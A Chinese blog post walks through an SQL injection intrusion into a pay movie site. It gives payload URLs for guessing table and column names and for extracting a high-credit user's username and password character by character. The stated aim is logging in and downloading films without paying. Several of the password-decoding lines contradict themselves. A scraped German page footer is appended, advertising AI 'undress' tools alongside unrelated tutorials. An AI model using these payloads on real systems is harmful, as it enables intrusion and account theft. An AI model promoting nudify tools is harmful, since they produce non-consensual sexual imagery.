SQL注入网站入侵实例_MySQL
这几天闲得无聊,想上网Down几部电影来看,找了找都是要Money的,不爽,花时间跑去汇钱还不如找个有漏洞的黑一黑。于是,计划开始:
(为避免不必要的误会,网址、用户名、密码做了一些修改,不过方法是100%原汁原味)
1.寻找入口
准备:如果你以前没尝试过SQL注入攻击,那应该把HTTP友好提示关闭,这样才能让你清楚看到服务器端返回的提示信息。
尝试几个有传入参数的页面,逐个测试是否有SQL注入漏洞,识别方法为:把网址栏的ID=***x加个号,或在表单输入号,如果提示表达式错误,表示有漏洞可注入,另外,通过这个方式可以得到程序所用的数据库类型。
经测试,发现有几个页面有注入漏洞,决定从http://www.movie.com/movie.ASP?ID=1000入手,输入http://www.movie.com/movie.ASP?ID=1000,得到信息:数据库用是的ACCESS,提示ArticleID=1000附近有表达式错误,嘿,原来是个用文章系统改出来的电影站。
2.观察网站环境
网站提供的功能有:影片分类、影片介绍、影片搜索,影片的ID大概从1000-1500之间。
3.猜表名查清楚敌人情况之后,开始行动
行动的第一步都是从猜表名开始,http://www.movie.com/movie.ASP?ID=1000,把1000改成(select count(1) from user),那么,他原来的SQL语句将会变成:
Select [字段列表] from [影片表] where 影片ID=(select count(1) from user)
如果猜对表名,将有可能出现下面三种情况:
A.显示某部影片的信息(巧合的情况)
B.显示影片找不到(如果有判断是否为EOF)
C.提示错误信息(EOF OR BOF)
如果猜错,将会直接提示找不到表名。
把user,users,member,members,userlist,memberlist,userinfo,admin,manager,用户,yonghu这些常用表名一个个放进去试,一般成功率都不低于80%
结果,成功猜中该网站的用户名表名为users
4.猜列名
至于猜列名,不用我介绍大家都应该清楚怎么做了,把(select count(1) from users)改成(select count(id) from users),如没提示"找不到字段"就表示字段名是正确的,字段一般不用太费力,在Login的时候看看表单的名称就大概可以猜到一些了。
果然,这个网站也不例外,用户表中字段为ID(数字),UserID(文本),Password(文本),积分字段猜得比较费劲,为money
5.锁定目标
让users表只返回money最多的一个记录,以便进行猜解、并避免猜中一些没money的用户名:
http://www.movie.com/movie.ASP?ID=(select 1000 from user where money>1000) 结果:提示子查询不能返回两条以上记录
锁定>10000,提示不变;
锁定>100000,提示找不到记录,说明没有积分大于10万的用户;
从1万到10万逐步缩小范围,得知积分大于25500只有一条记录。
6.计算用户名及密码长度
因为影片的ID大概从1000-1500之间,可以用UserID的长度+1000得出的数(即影片ID)计算用户名长度,键入:
http://www.movie.com/movie.ASP?ID=(select len(UserID) %2B 1000 from user where money>25500)%2B是什么?因为地址栏的+号request出来会变成空格,所以+号要用UrlEncode过的%2B表示。结果返回片名为《双雄》的影片,呵呵,怎么办?不是有搜索功能吗?拿去搜一下,看看影片ID是多少吧。
搜索,得出影片ID是1006,显然,用户名长度为1006-1000=6;同样方法,得出密码的长度为8
7.分步破解用户名
有点SQL应用经验的人应该都想到方法了,来,敲入:
http://www.movie.com/movie.ASP?ID=(select asc(mid(UserID,1,1)) %2B 1000 from user where money>25500)
呵呵,又返回一部影片,搜索一下,影片ID为1104,即asc(mid(UserID,1,1))=104
同样方法,得出:
asc(mid(UserID,2,1))=117
asc(mid(UserID,3,1))=97
asc(mid(UserID,4,1))=106
asc(mid(UserID,5,1))=105
asc(mid(UserID,6,1))=101
因为len(UserID)=6,所以算到第6位就行了,查asc对应表(会编程的可以写几句话算出来),chr(104)=h,chr(117)=u,chr(97)=a,chr(106)=j,chr(105)=i,chr(101)=e
连起来,用户名就是huajie
8.同样的方法破解密码
asc(mid(Password,1,1))=49 => chr(49)=1
asc(mid(Password,2,1))=57 => chr(49)=9
asc(mid(Password,3,1))=55 => chr(49)=7
asc(mid(Password,4,1))=56 => chr(49)=8
asc(mid(Password,5,1))=48 => chr(49)=0
asc(mid(Password,6,1))=55 => chr(49)=7
asc(mid(Password,7,1))=55 => chr(49)=1
asc(mid(Password,8,1))=55 => chr(49)=2
拼起来:19780712,哈哈,又是用生日做密码的!
接下来,输入用户名和密码,登录系统,成功!猜表名列表之前用了30分钟,破解用了15分钟,45分钟搞掂了一个站。接下来做什么?当然是先Down几G的电影下来再说了。

Heiße KI -Werkzeuge

Undresser.AI Undress
KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover
Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool
Ausziehbilder kostenlos

Clothoff.io
KI-Kleiderentferner

AI Hentai Generator
Erstellen Sie kostenlos Ai Hentai.

Heißer Artikel

Heiße Werkzeuge

Notepad++7.3.1
Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version
Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1
Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6
Visuelle Webentwicklungstools

SublimeText3 Mac-Version
Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

Heiße Themen

Wenn Sie ein Win11-System verwenden, werden Sie manchmal aufgefordert, den Benutzernamen und das Passwort des Administrators einzugeben. In diesem Artikel wird erläutert, wie Sie mit dieser Situation umgehen. Methode 1: 1. Klicken Sie auf [Windows-Logo] und drücken Sie dann [Umschalt+Neustart], um in den abgesicherten Modus zu wechseln, oder gehen Sie folgendermaßen in den abgesicherten Modus: Klicken Sie auf das Startmenü und wählen Sie „Einstellungen“. Wählen Sie „Update und Sicherheit“; wählen Sie „Jetzt neu starten“ unter „Wiederherstellung“ und geben Sie die Optionen ein. Wählen Sie „Fehlerbehebung“ – „Erweiterte Optionen“ – „Starteinstellungen“.

In den Anfängen der sozialen Medien konnten Sie Ihren Profilnamen mehrmals ändern, doch heute ist die Änderung Ihres Namens in jeder Social-Media-App mit eigenen Einschränkungen verbunden. Wenn Sie Ihren Anzeigenamen oder Benutzernamen auf Instagram ändern möchten, erfahren Sie im folgenden Beitrag, wie oft Sie diese ändern können, wie das geht und was Sie tun können, wenn Sie Ihren Namen auf der Plattform nicht ändern können. Wie ändere ich den Anzeigenamen und den Benutzernamen auf Instagram? Instagram bietet zwei Orte für Ihren Namen: Ihren Anzeigenamen und Ihren Benutzernamen. Glücklicherweise können Sie beide in der mobilen App problemlos ändern. Der Anzeigename ist der, den Sie normalerweise „true“ eingeben würden

OOBE oder Out-of-Box Experience ist ein Prozess, der für Benutzer entwickelt wurde, um sie durch die verschiedenen Phasen der Schritte nach der Installation zu führen. Dazu gehören Rechte- und Vereinbarungsseiten, Anmeldeseiten, WLAN- oder Netzwerkverbindungsoptionen usw. Wenn Sie OOBEKeyboard-, OOBELOCAL- oder OOBEREGION-Probleme erhalten, können Sie nicht mit den letzten Installationsschritten fortfahren. Mach dir keine Sorge. Es gibt einige einfache Lösungen, mit denen Sie dieses Problem beheben können. Problemumgehungen – Bevor Sie etwas anderes tun, probieren Sie diese normalen Lösungen aus: 1. Wenn Sie eine Fehlermeldung erhalten, klicken Sie auf die Eingabeaufforderung „Erneut versuchen“. Versuchen Sie es noch mindestens 7 bis 8 Mal. 2. Überprüfen Sie die Netzwerkkonnektivität. Wenn Sie eine Ethernet-Verbindung oder WLAN verwenden

Heutzutage haben viele Windows-Benutzer, die Spiele lieben, den Steam-Client aufgerufen und können alle guten Spiele suchen, herunterladen und spielen. Allerdings haben die Profile vieler Benutzer möglicherweise genau denselben Namen, was es schwierig macht, ein Profil zu finden oder sogar ein Steam-Profil mit anderen Konten von Drittanbietern zu verknüpfen oder Steam-Foren beizutreten, um Inhalte zu teilen. Dem Profil wird eine eindeutige 17-stellige ID zugewiesen, die gleich bleibt und vom Benutzer zu keinem Zeitpunkt geändert werden kann, der Benutzername oder die benutzerdefinierte URL hingegen schon. Unabhängig davon kennen einige Benutzer ihr Steamid nicht und es ist wichtig, dies zu wissen. Wenn Sie nicht wissen, wie Sie das Steamid Ihres Kontos finden, geraten Sie nicht in Panik. In diesem Artikel

Wie gebe ich den Benutzernamen von Railway 12306 ein? Sie können den Benutzernamen in der Railway 12306-APP eingeben, aber die meisten Freunde wissen nicht, wie sie den Benutzernamen von Railway 12306 eingeben. Als nächstes folgt das grafische Tutorial zum Ausfüllen Im vom Herausgeber bereitgestellten Benutzernamen Railway 12306 können interessierte Benutzer vorbeischauen. Tutorial zur Verwendung von Railway 12306 So geben Sie den Railway 12306-Benutzernamen ein: 1. Öffnen Sie zunächst die Railway 12306-APP und klicken Sie unten auf der Hauptseite auf [Registrieren]. 2. Geben Sie dann auf der Seite mit der Registrierungsfunktion den Benutzernamen, das Passwort und die Bestätigung ein Passwort usw.; 3. Geben Sie abschließend ein. Sobald Sie fertig sind, können Sie die Benutzerregistrierung ausfüllen.

Der WLAN-Benutzername bezieht sich auf den Administrator-Benutzernamen des WLAN-Routers. Dieser Benutzername, die IP-Adresse des Routers und das Standard-Administratorkennwort sind normalerweise auf der Unterseite des WLAN-Routers aufgedruckt und können auch im Handbuch des WLAN-Routers gefunden werden ; der standardmäßige Administratorbenutzer der meisten Router. Der Name ist sowohl admin als auch das Verwaltungskennwort ist ebenfalls admin.

Kann das Win11-Vorschauprogramm nicht beendet werden? Wenn wir das Win11-System verwenden, wird das Win11-Vorschauprogramm für uns gestartet. Einige Freunde möchten dieses Vorschauprogramm jedoch nicht verwenden So beenden Sie den Editor unten. Wir haben eine Anleitung zum Beenden des Win11-Vorschau-Erlebnisprogramms zusammengestellt. Wenn Sie interessiert sind, werfen wir einen Blick darauf! Tutorial-Anleitung zum Beenden des Win11 Insider-Programms 1. Drücken Sie zunächst die Tastenkombination „win+i“, um die Windows-Einstellungen aufzurufen, und klicken Sie auf „Update und Sicherheit“. 2. Klicken Sie dann in der linken Taskleiste auf „Windows Insider-Programm“, wie in der Abbildung gezeigt. 3. An dieser Stelle sehen Sie rechts das Erlebnis

Instagram ist einer der Social-Media-Giganten, der hauptsächlich auf dem Teilen von Fotos und Videos basiert. Menschen durchsuchen hochwertige Fotos über Apps, jetzt über Instagram Reels und IGTV, mit kurzen und langen Videos. Durch Werbung und die Art und Weise, wie sie aus ihrer wachsenden Zahl an Followern Kapital schlagen, ist es für viele Menschen auf der ganzen Welt auch zu einer wichtigen Einnahmequelle geworden. Die App macht sehr süchtig und man kann Stunden damit verbringen, nur in der App zu stöbern. Die Instagram-App ermöglicht es Ihnen, einen neuen Benutzernamen und auch einen neuen Namen zu wählen. Der Hauptunterschied zwischen einem Namen und einem Benutzernamen besteht darin, dass ein Benutzername der Titel Ihres Profils ist, während ein Name eine Beschreibung dessen ist, was Ihr Profil darstellt. Sehen wir uns hier an, wie Sie Ihren Namen mit einem Android-Telefon ändern.
